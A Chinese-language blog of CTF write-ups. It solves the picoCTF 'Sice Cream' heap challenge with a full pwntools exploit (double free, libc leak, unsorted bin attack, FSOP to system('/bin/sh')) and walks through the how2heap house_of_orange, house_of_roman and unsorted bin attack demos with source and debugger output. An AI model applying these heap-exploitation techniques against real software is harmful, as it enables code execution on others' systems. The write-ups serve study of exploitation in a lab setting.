🌈 JunHoo

PWN - Sice Cream

Tue, 05 Jan 2021 00:00:00 +0000

刚开始做到一半就没啥思路了，在看到并理解了how2heap - house_of_orange之后就回过头来把这题做了。主要用到的技术：DoubleFree + unsorted bin attack + FSOP。

大致介绍下程序，选项1是malloc你指定的大小，可以malloc多个，选项2可以选择性的free你之前malloc的内存。有一个全局变量USER_NAME，选项3重命名并输出它。

clot@ubuntu:~/CTF/sice_cream$ ./sice_cream
Welcome to the Sice Cream Store!
We have the best sice cream in the world!
Whats your name?
> a
1. Buy sice cream
2. Eat sice cream
3. Reintroduce yourself
4. Exit
> 

思路

通过double free来将name的地址插入fast bin
更改name的大小，再释放，使其放回unsorted bin
改写name的bk指针，通过unsorted bin attack更改name->bk->fd指向unsorted bin，leak libc地址
改写name来伪造FILE结构体，最后malloc触发崩溃并触发IO缓冲刷新，实际调用system函数。

double free

通过在一开始输入名字时，将大小0x21写在name+8的位置，这步是为了绕过之后fast bin对size的检查。

之后就是double free的标准流程，最后一次buy操作返回的chunk实际是name的地址

# name - fake chunk size: 0x21, bypass fastbin check
p.sendlineafter('>', p64(0) + p64(0x21) * 26)

# double free
buy(20, 'A'*8) # 0
buy(20, 'B'*8) # 1
eat(0)
eat(1)
eat(0)

# set fd pointer -> &USER_NAME
buy(20, p64(nameAddr)) # 2
buy(20, 'C'*8) # 3
buy(20, 'D'*8) # 4

# ret fake chunk from fast bin
buy(20, 'E'*8) # 5

插入unsorted bin

这一步通过reintroduce的功能，改写name chunk的size字段，大于MAX_FAST_SIZE即可，在64位上最大是0x88，所以这里设置为0x90 | previnuse 1。然后通过eat来将其放到unsorted bin中，此时name + 0x10指向的是unsorted bin也就是libc中的地址。

reintroduce(p64(0) + p64(0x91))
eat(5)

leak libc

通过reintroduce来改写字符串并leak libc的地址，再通过system和_IO_list_all函数的偏移来计算出它们各自的实际地址。

# leak libc: unsorted bin address
reintroduce('A'*15)
p.recvline()
addrStr = p.recvline()[:-2]
leakAddr = u64(addrStr.ljust(8, b"\x00"))
log.info("leakAddr: {}".format(hex(leakAddr)))

# system address
systemAddr = leakAddr - unsortedBinOffset + systemOffset

# _IO_list_all
IOListAllAddr = leakAddr + 0x9a8
log.info("IO_list_all: {}".format(hex(IOListAllAddr)))

unsorted bin attack + FSOP

    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);

如果要使指针A的值指向unsorted bin，则需要将其-0x10后放置到chunk->bk的位置，这样fake chunk的fd也就是A就会指向unsorted bin。

同时需要在name这块内存中伪造一个FILE结构体。上一篇house_of_orange的分析中对FSOP已经有较详细的介绍，这里大概说明下：在程序退出时会触发一个刷新IO的机制，此时会遍历IO_list_all的chain指针，假设当前遍历到了_IO_FILE_plus A，则会调用A的vtable中的_IO_overflow(fp, EOF)函数刷新IO，我们的目的也就是替换掉_IO_overflow这个函数以及它的fp参数。同时要绕过在执行该函数前对(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)的检查。

通过计算结构体中vtable以及_mode等字段的偏移，来设置我们的payload。但此时该结构体还未插入_IO_list_all的chain(fp + 0x68)字段中，由于此时_IO_list_all指向的是unsorted bin，所以我们需要将伪造的结构体插入到unosorted bin + 0x68即smallbin4的位置。

所以我们通过改写fake chunk的大小为0x61，使下次malloc时，将unsorted bin中的chunk放到对应的bin中，也就是smallbin[4]的位置。

# unsorted bin attack + FSOP
payload = sh + p64(0x61) + p64(leakAddr) + p64(IOListAllAddr - 0x10)
payload += p64(2) + p64(3) + p64(systemAddr) * 0x12 + p64(0) * 3 + p64(nameAddr + 0x30)

reintroduce(payload)

获得shell

最后只需再触发一次malloc，在malloc检查的过程中会发现IO_list_all指向的堆块已损坏便crash了。此时刷新IO，即调用system("/bin/sh")

# trigger malloc then get the shell after crash 
p.sendlineafter('>','1')
p.sendlineafter('>', '50')

p.interactive()

完整的exploit

from pwn import *

libc = ELF("libc.so.6")
elf = ELF("sice_cream")

REMOTE = 1

if REMOTE:
    host = 'jupiter.challenges.picoctf.org'
    port = '51890'
    p = remote(host, port)
else:
    p = elf.process()
    gdb.attach(p)

unsortedBinOffset = 0x3c4b87 # __malloc_hook + 0x10(main_arena) + 88
IOListAllOffset = 0x3c5520
systemOffset = 0x45390
nameAddr = 0x602040
sh = b"/bin/sh;"

# menu 
def buy(size, content):
    p.sendlineafter('>', '1')
    p.sendlineafter('>', str(size))
    p.sendlineafter('>', content)

def eat(index):
    p.sendlineafter('>', '2')
    p.sendlineafter('>', str(index))

def reintroduce(name):
    p.sendlineafter('>', '3')
    p.sendlineafter('>', name)

# name - fake chunk size: 0x21, bypass fastbin check
p.sendlineafter('>', p64(0) + p64(0x21) * 26)

# double free
buy(20, 'A'*8) # 0
buy(20, 'B'*8) # 1
eat(0)
eat(1)
eat(0)

# set fd pointer -> &USER_NAME
buy(20, p64(nameAddr)) # 2
buy(20, 'C'*8) # 3
buy(20, 'D'*8) # 4

# ret fake chunk from fast bin
buy(20, 'E'*8) # 5

# the size must be greater than 0x88 to insert to unsorted bin after eat.
reintroduce(p64(0) + p64(0x91))
eat(5)

# leak libc: unsorted bin address
reintroduce('A'*15)
p.recvline()
addrStr = p.recvline()[:-2]
leakAddr = u64(addrStr.ljust(8, b"\x00"))
log.info("leakAddr: {}".format(hex(leakAddr)))

# system address
systemAddr = leakAddr - unsortedBinOffset + systemOffset

# _IO_list_all
IOListAllAddr = leakAddr + 0x9a8
log.info("IO_list_all: {}".format(hex(IOListAllAddr)))

# unsorted bin attack + FSOP
payload = sh + p64(0x61) + p64(leakAddr) + p64(IOListAllAddr - 0x10)
payload += p64(2) + p64(3) + p64(systemAddr) * 0x12 + p64(0) * 3 + p64(nameAddr + 0x30)

reintroduce(payload)

# trigger malloc then get the shell after crash 
p.sendlineafter('>','1')
p.sendlineafter('>', '50')

p.interactive()

执行结果

clot@ubuntu:~/CTF/sice_cream$ python3 sice_cream.py 
[*] '/home/clot/CTF/sice_cream/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/clot/CTF/sice_cream/sice_cream'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'
[+] Opening connection to jupiter.challenges.picoctf.org on port 51860: Done
[*] leakAddr: 0x7fd4ff71fb78
[*] IO_list_all: 0x7fd4ff720520
[*] Switching to interactive mode
 *** Error in `/problems/sice-cream_2_fba6d241362269d610df62c069a9828f/sice_cream': malloc(): memory corruption: 0x00007fd4ff720520 ***
======= Backtrace: =========
./libc.so.6(+0x777e5)[0x7fd4ff3d27e5]
./libc.so.6(+0x8213e)[0x7fd4ff3dd13e]
./libc.so.6(__libc_malloc+0x54)[0x7fd4ff3df184]
/problems/sice-cream_2_fba6d241362269d610df62c069a9828f/sice_cream[0x4009d8]
/problems/sice-cream_2_fba6d241362269d610df62c069a9828f/sice_cream[0x400c8f]
./libc.so.6(__libc_start_main+0xf0)[0x7fd4ff37b830]
/problems/sice-cream_2_fba6d241362269d610df62c069a9828f/sice_cream[0x4007ea]
======= Memory map: ========
00400000-00402000 r-xp 00000000 103:01 2560377                           /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/sice_cream
00601000-00602000 r--p 00001000 103:01 2560377                           /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/sice_cream
00602000-00603000 rw-p 00002000 103:01 2560377                           /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/sice_cream
018cb000-018ec000 rw-p 00000000 00:00 0                                  [heap]
7fd4f8000000-7fd4f8021000 rw-p 00000000 00:00 0 
7fd4f8021000-7fd4fc000000 ---p 00000000 00:00 0 
7fd4ff143000-7fd4ff15a000 r-xp 00000000 103:01 2054                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7fd4ff15a000-7fd4ff359000 ---p 00017000 103:01 2054                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7fd4ff359000-7fd4ff35a000 r--p 00016000 103:01 2054                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7fd4ff35a000-7fd4ff35b000 rw-p 00017000 103:01 2054                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7fd4ff35b000-7fd4ff51b000 r-xp 00000000 103:01 2560378                   /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/libc.so.6
7fd4ff51b000-7fd4ff71b000 ---p 001c0000 103:01 2560378                   /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/libc.so.6
7fd4ff71b000-7fd4ff71f000 r--p 001c0000 103:01 2560378                   /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/libc.so.6
7fd4ff71f000-7fd4ff721000 rw-p 001c4000 103:01 2560378                   /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/libc.so.6
7fd4ff721000-7fd4ff725000 rw-p 00000000 00:00 0 
7fd4ff725000-7fd4ff74b000 r-xp 00000000 103:01 2560379                   /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/ld-2.23.so
7fd4ff946000-7fd4ff94a000 rw-p 00000000 00:00 0 
7fd4ff94a000-7fd4ff94b000 r--p 00025000 103:01 2560379                   /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/ld-2.23.so
7fd4ff94b000-7fd4ff94c000 rw-p 00026000 103:01 2560379                   /problems/sice-cream_2_fba6d241362269d610df62c069a9828f/ld-2.23.so
7fd4ff94c000-7fd4ff94d000 rw-p 00000000 00:00 0 
7ffef58fd000-7ffef591e000 rw-p 00000000 00:00 0                          [stack]
7ffef593d000-7ffef5940000 r--p 00000000 00:00 0                          [vvar]
7ffef5940000-7ffef5941000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
$ ls
flag.txt
ld-2.23.so
libc.so.6
sice_cream
xinet_startup.sh

Heap Exploitation - how2heap - house_of_orange

Sat, 02 Jan 2021 00:00:00 +0000

house_of_orange

unsorted bin attack + FSOP

先是利用unsorted bin attack来实现任意地址改写，再通过伪造__IO_list_all结构体来完成任意代码执行，具体分析见下。（下面源码中删除了大段的注释和log。）

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    // 1
    p1 = malloc(0x400-16);

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    p2 = malloc(0x1000);

    io_list_all = top[2] + 0x9a8;
 
    top[3] = io_list_all - 0x10;

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;

    /*
      Now comes the part where we satisfy the constraints on the fake file pointer
      required by the function _IO_flush_all_lockp and tested here:
      https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

      We want to satisfy the first condition:
      fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    */

    FILE *fp = (FILE *) top;


    /*
      1. Set mode to 0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) Finally set the jump table to controlled memory and place system there.
      The jump table pointer is right after the FILE struct:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

整个代码中并没有free的操作，而是通过扩展top chunk时对old top chunk执行_int_free来创建free chunk。

p1指向0x400大小的一块内存，同时观察下top chunk，可以看到此时topchunk就在p1+0x3f0(0x400 - 0x10)的位置，其大小为0x20c01(0x21000-0x400):

pwndbg> x/4gx p1 - 0x10
0x602000: 0x0000000000000000 0x0000000000000401
0x602010: 0x0000000000000000 0x0000000000000000

pwndbg> x/4gx p1+0x3f0
0x602400: 0x0000000000000000 0x0000000000020c01
0x602410: 0x0000000000000000 0x0000000000000000

此时，更改topchunk的大小，该大小必须页对齐，同时prev_inuse被置为1。这样做的目的是为了下一次malloc一定大小(大于topchunk更改后的大小)时，可以将剩下的top chunk释放掉，插入unsorted bin。

在此之后，top指向了topchunk，大小改为了0xc01:

pwndbg> x/4gx top
0x602400: 0x0000000000000000 0x0000000000000c01
0x602410: 0x0000000000000000 0x0000000000000000

p2指向0x1000大小的内存，由于0x1000 > 0xc01，所以系统会通过mmap再请求一块内存页。同时，0x602400开始的top chunk被移入了unsorted bin中。

unsortedbin
all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400

pwndbg> x/2gx p2 - 0x10
0x623000: 0x0000000000000000 0x0000000000001011

至此，第一阶段获取unsortedbin已经完成了。在进行下一步之前需要理解FSOP的概念，当程序遇到一些原因退出时，会通过_IO_flush_all_lockp函数刷新IO，其流程主要是通过遍历IO_list_all的链表，每次遍历都会调用该FILE结构体中vtable表的_IO_OVERFLOW函数来刷新缓存。我们的目的也就是通过unsorted bin来改写IO_list_all指针，使其指向main_arena中的位置，并在对应的chain字段中赋值我们伪造的FILE结构体，最后通过调用该结构体中的vtable中的伪造函数来完成利用。以下是源码中遍历的部分：

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
    ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
     || (_IO_vtable_offset (fp) == 0
         && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
            > fp->_wide_data->_IO_write_base))
#endif
     )
    && _IO_OVERFLOW (fp, EOF) == EOF)   // 刷新
  result = EOF;

      
  fp = fp->_chain; // 遍历链表
    }
...
}

根据_IO_list_all距离unsorted bin的偏移为0x9a8可以计算出_IO_list_all的地址:

pwndbg> x/4gx top
0x602400: 0x0000000000000000 0x0000000000000be1
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
pwndbg> x/x 0x00007ffff7dd1b78 + 0x9a8
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540

当下次分配需要从unsorted bin中取free chunk的时候，顶部的free chunk->bk->fd会被改写为指向unsorted bin，所以我们将__IO_list_all - 0x10放置在top->bk的位置，使其指向的地址被改写。

pwndbg> x/4gx top
0x602400: 0x0000000000000000 0x0000000000000be1
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510

接下来就是构造fake FILE结构体了。

首先将top首地址内容改为/bin/sh。其次，我们通过将top的size字段改为0x61，来使下一次malloc时将这个top塞入_IO_list_all + 0x68的位置，即FILE->_chain的偏移，_IO_flush_all_lockp就是通过这个字段来遍历的。改大小的原因是smallbin4正好在unsortedbin+0x68的位置，而下一次malloc时unsortedbin如果发现这个chunk不满足请求大小，就会将其放入对应大小的bin中。所以通过将size改为0x61，可以将top移入到smallbin[4]的位置。

pwndbg> x/4gx top
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510

接下来为了使_IO_overflow_函数能够被调用，还需要更改两个参数，以绕过条件检查：

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;

主要是满足两个条件：

fp->_mode <=0
fp->_IO_write_ptr > fp->_IO_write_base

所以代码中将mode置为0，_IO_write_base置为2，_IO_write_ptr置为3

pwndbg> x/10gx top
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x602420: 0x0000000000000002 0x0000000000000003

最后，伪造vtable。可以看到，vtable的偏移是sizeof(FILE)，即0xd8:

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

而 _IO_overflow_在vtable中的index是3，所以在top[12]的位置构造了一个jump_table，将jump_table[3]赋值为winner函数的地址，最后将jump_table的地址赋值给top + 0xd8的位置。

pwndbg> x/x top + (0xd8 / 8)
0x6024d8: 0x0000000000602460
pwndbg> x/4gx 0x0000000000602460
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x00000000004007df
pwndbg> x/x 0x4007df
0x4007df <winner>: 0x10ec8348e5894855

最后的最后，malloc(10)，malloc在将unsorted bin的chunk移入smallbin并且完成_IO_list_all的改写后，会对chunk的size进行检查：

         if (__glibc_unlikely (size <= 2 * SIZE_SZ)
              || __glibc_unlikely (size > av->system_mem))

而我们伪造的chunk并不满足条件，在退出前调用_IO_flush_all_lockp遍历刷新IO，最终调用winner函数，得到shell。

pwndbg> bt
#0  winner (ptr=0x602400 "/bin/sh") at glibc_2.23/house_of_orange.c:269
#1  0x00007ffff7a891a6 in _IO_flush_all_lockp (do_lock=do_lock@entry=0) at genops.c:786
#2  0x00007ffff7a43fcd in __GI_abort () at abort.c:74
#3  0x00007ffff7a847fa in __libc_message (do_abort=2, fmt=fmt@entry=0x7ffff7b9df98 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#4  0x00007ffff7a8f15e in malloc_printerr (ar_ptr=0x7ffff7dd1b20 <main_arena>, ptr=0x7ffff7dd2520 <_IO_list_all>, str=0x7ffff7b9adff "malloc(): memory corruption", action=<optimized out>) at malloc.c:5020
#5  _int_malloc (av=av@entry=0x7ffff7dd1b20 <main_arena>, bytes=bytes@entry=10) at malloc.c:3481
#6  0x00007ffff7a911d4 in __GI___libc_malloc (bytes=10) at malloc.c:2920
#7  0x00000000004007d8 in main () at glibc_2.23/house_of_orange.c:257
#8  0x00007ffff7a2d840 in __libc_start_main (main=0x4006a6 <main>, argc=1, argv=0x7fffffffde98, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde88) at ../csu/libc-start.c:291
#9  0x00000000004005d9 in _start ()

Reference

FILE structure

FSOP

Heap Exploitation - how2heap house_of_roman

Wed, 30 Dec 2020 00:00:00 +0000

house_of_roman

该程序涉及到的攻击方法可以绕过ASLR，并且没有地方leak libc地址时候。整个程序被分为5个步骤：

int main(){
    init();

// 1
    puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
    puts("Setting up chunks for relative overwrites with heap feng shui.\n");

    // Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value. 
    uint8_t* fastbin_victim = malloc(0x60); 

    // Allocate this in order to have good alignment for relative 
    // offsets later (only want to overwrite a single byte to prevent 
    // 4 bits of brute on the heap).
    malloc(0x80);

    // Offset 0x100
    uint8_t* main_arena_use = malloc(0x80);

    // Offset 0x190
    // This ptr will be used for a relative offset on the 'main_arena_use' chunk
    uint8_t* relative_offset_heap = malloc(0x60);

    // Free the chunk to put it into the unsorted_bin. 
    // This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
    free(main_arena_use);

// 2
    puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
    //Offset 0x100. Has main_arena + 0x68 in fd and bk.
    uint8_t* fake_libc_chunk = malloc(0x60);

    //// NOTE: This is NOT part of the exploit... \\\
    // The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC. 
    long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;


    // We need the filler because the overwrite below needs 
    // to have a ptr in the fd slot in order to work. 
    //Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later. 
    free(relative_offset_heap); 

    puts("\
    Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
    to the chunk with the LibC address\n");
    puts("\
    Fastbin 0x70 now looks like this:\n\
    heap_addr -> heap_addr2 -> LibC_main_arena\n");
    fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.

// 3
    puts("\
    Use a relative overwrite on the main_arena pointer in the fastbin.\n\
    Point this close to __malloc_hook in order to create a fake fastbin chunk\n");
    long long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.

    // The relative overwrite
    int8_t byte1 = (__malloc_hook_adjust) & 0xff;  
    int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 
    fake_libc_chunk[0] = byte1; // Least significant bytes of the address.
    fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.

    // Two filler chunks prior to the __malloc_hook chunk in the fastbin. 
    // These are fastbin_victim and fake_libc_chunk.
    puts("Get the fake chunk pointing close to __malloc_hook\n");
    puts("\
    In a real exploit, this would fail 15/16 times\n\
    because of the final half byet of the malloc_hook being random\n"); 
    malloc(0x60);
    malloc(0x60);

    // If the 4 bit brute force did not work, this will crash because 
    // of the chunk size not matching the bin for the chunk. 
    // Otherwise, the next step of the attack can begin.
    uint8_t* malloc_hook_chunk = malloc(0x60); 

    puts("Passed step 1 =)\n\n\n");

    puts("\
    Start Step 2: Unsorted_bin attack\n\n\
    The unsorted bin attack gives us the ability to write a\n\
    large value to ANY location. But, we do not control the value\n\
    This value is always main_arena + 0x68. \n\
    We point the unsorted_bin attack to __malloc_hook for a \n\
    relative overwrite later.\n");

// 4
    // Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.

    uint8_t* unsorted_bin_ptr = malloc(0x80); 
    malloc(0x30); // Don't want to consolidate

    puts("Put chunk into unsorted_bin\n");
    // Free the chunk to create the UAF
    free(unsorted_bin_ptr);

    /* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\ 
    However, for the sake of example, this has been calculated dynamically. 
    */
    __malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
    byte1 = (__malloc_hook_adjust) & 0xff;  
    byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 


    // Use another relative offset to overwrite the ptr of the chunk->bk pointer.
    // From the previous brute force (4 bits from before) we 
    // know where the location of this is at. It is 5 bytes away from __malloc_hook.
    puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
    unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.  

    // //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
    unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.

    puts("Trigger the unsorted_bin attack\n");
    malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68

    long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

    puts("Passed step 2 =)\n\n\n");
    /* 
    Step 3: Set __malloc_hook to system

    The chunk itself is allocated 19 bytes away from __malloc_hook. 
    So, we use a realtive overwrite (again) in order to partially overwrite 
    the main_arena pointer (from unsorted_bin attack) to point to system.

    In a real attack, the first 12 bits are static (per version). 
    But, after that, the next 12 bits must be brute forced. 

    /// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\
    */ 
// 5
    puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
    puts("\
    Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
    we can use a relative overwrite to point this to system or a one_gadget.\n\
    Note: In a real attack, this would be where the last 8 bits of brute forcing\n\
    comes from.\n");
    malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).

    malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;  // The last 4 bits of this must be brute forced (done previously already).
    malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;  // The last byte is the remaining 8 bits that must be brute forced.
    malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.

    puts("Pop Shell!");
    malloc((long long)shell);
}

第一步主要准备好之后要利用的几个chunk，free了其中一个插入unsortedbin。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x603070
Size: 0x91

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603100
Size: 0x91
fd: 0x7ffff7bcdb78
bk: 0x7ffff7bcdb78

Allocated chunk
Addr: 0x603190
Size: 0x70

Top chunk | PREV_INUSE
Addr: 0x603200
Size: 0x20e01

第二步通过UAF来获取libc地址

pwndbg> x/4gx fake_libc_chunk 
0x603110: 0x00007ffff7bcdbf8 0x00007ffff7bcdbf8
0x603120: 0x0000000000000000 0x0000000000000000

然后通过两次free在fastbin 0x70的位置插入两个chunk，这步是为了将fake_libc_chunk插入fastbin做准备。

pwndbg> x/x __malloc_hook
0x7ffff7bcdb10 <__malloc_hook>: 0x0000000000000000

pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603000 —▸ 0x603190 ◂— 0x0

此时bin的布局如下：

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603000 —▸ 0x603190 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x603170 —▸ 0x7ffff7bcdb78 (main_arena+88) ◂— 0x603170 /* 'p1`' */
smallbins
empty
largebins

通过修改fastbin_victim->fd的低字节，把fake_libc_chunk插入fastbin：

pwndbg> x/x fake_libc_chunk 
0x603110: 0x00007ffff7bcdbf8

pwndbg> x/x fastbin_victim 
0x603010: 0x0000000000603190

pwndbg> fastbins 
fastbins
...
0x60: 0x0
0x70: 0x603000 —▸ 0x603100 —▸ 0x7ffff7bcdbf8 (main_arena+216) ◂— 0x7ffff7bcdbf8

第三步，获取malloc_hook - 0x23的位置，因为这里可以构成一个0x7f大小的chunk，为了之后链入fastbin。

pwndbg> x/4gx __malloc_hook - 0x23
0x7ffff7bcdaed <_IO_wide_data_0+301>: 0xfff7bcc260000000 0x000000000000007f
0x7ffff7bcdafd: 0xfff788eea0000000 0xfff788ea7000007f

使fake_libc_chunk[0]指向__malloc_hook_adjust，修改低2个字节，其中db中的b真实情况下需要brute force，1/16成功率。

#修改前：
pwndbg> x/x __malloc_hook_adjust 
0x7ffff7bcdaed <_IO_wide_data_0+301>: 0xfff7bcc260000000
pwndbg> x/4gx fake_libc_chunk 
0x603110: 0x00007ffff7bcdbf8 0x00007ffff7bcdbf8

#修改后：
pwndbg> x/4gx fake_libc_chunk 
0x603110: 0x00007ffff7bcdaed 0x00007ffff7bcdbf8

此时，malloc_hook_chunk已被链入fastbin。经过malloc两次，第三次取出刚才伪造的chunk：

pwndbg> x/4gx malloc_hook_chunk - 0x10
0x7ffff7bcdaed <_IO_wide_data_0+301>: 0xfff7bcc260000000 0x000000000000007f
0x7ffff7bcdafd: 0xfff788eea0000000 0xfff788ea7000007f

第四步主要是通过unsortedbin attack来改写malloc_hook，使其指向main_arena+88。因为system地址与main_arena+88只有最开始的12个bit有差别，所以先获取大致的地址，后续再通过malloc_hook_chunk来改写这12bit。

pwndbg> x/4gx unsorted_bin_ptr - 0x10
0x603200: 0x0000000000000000 0x0000000000000091
0x603210: 0x0000000000000000 0x0000000000000000

# After free
unsortedbin
all: 0x603200 —▸ 0x7ffff7bcdb78 (main_arena+88) ◂— 0x603200

获取__malloc_hook - 0x10的地址，插入unsorted_bin_ptr->bk的位置。

pwndbg> x/2gx unsorted_bin_ptr 
0x603210: 0x00007ffff7bcdb78 0x00007ffff7bcdb00

malloc后__malloc_hook指向main_arena+88即0x00007ffff7bcdb78的位置。

pwndbg> x/x __malloc_hook
0x7ffff7bcdb10 <__malloc_hook>: 0x00007ffff7bcdb78"

最后，由于__malloc_hook_chunk和__malloc_hook目前是重叠的两块内存，所以可以通过修改__malloc_hook_chunk来修改__malloc_hook的地址，使其指向one_gadget。

pwndbg> p/x system_addr 
$2 = 0x7ffff784e3a0

pwndbg> x/10gx malloc_hook_chunk
0x7ffff7bcdafd: 0xfff788eea0000000 0xfff788ea7000007f
0x7ffff7bcdb0d <__realloc_hook+5>: 0xfff784e3a000007f 0x000000000000007f

pwndbg> x/x __malloc_hook
0x7ffff7bcdb10 <__malloc_hook>: 0x00007ffff784e3a0

最后调用malloc触发malloc_hook，调用system函数。

Reference

house_of_roman

house_or_roman实战

Heap Exploitation - how2heap 3

Mon, 21 Dec 2020 00:00:00 +0000

unosrted_bin_attack

这种攻击可用于将某个地址的值修改为一个比较大的值，也有用于修改global_max_fast后利用fastbin attack的。

int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
            "global variable global_max_fast in libc for further fastbin attack\n\n");

    // 1
    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
            "the first one during the free()\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
            "point to %p\n",(void*)p[1]);

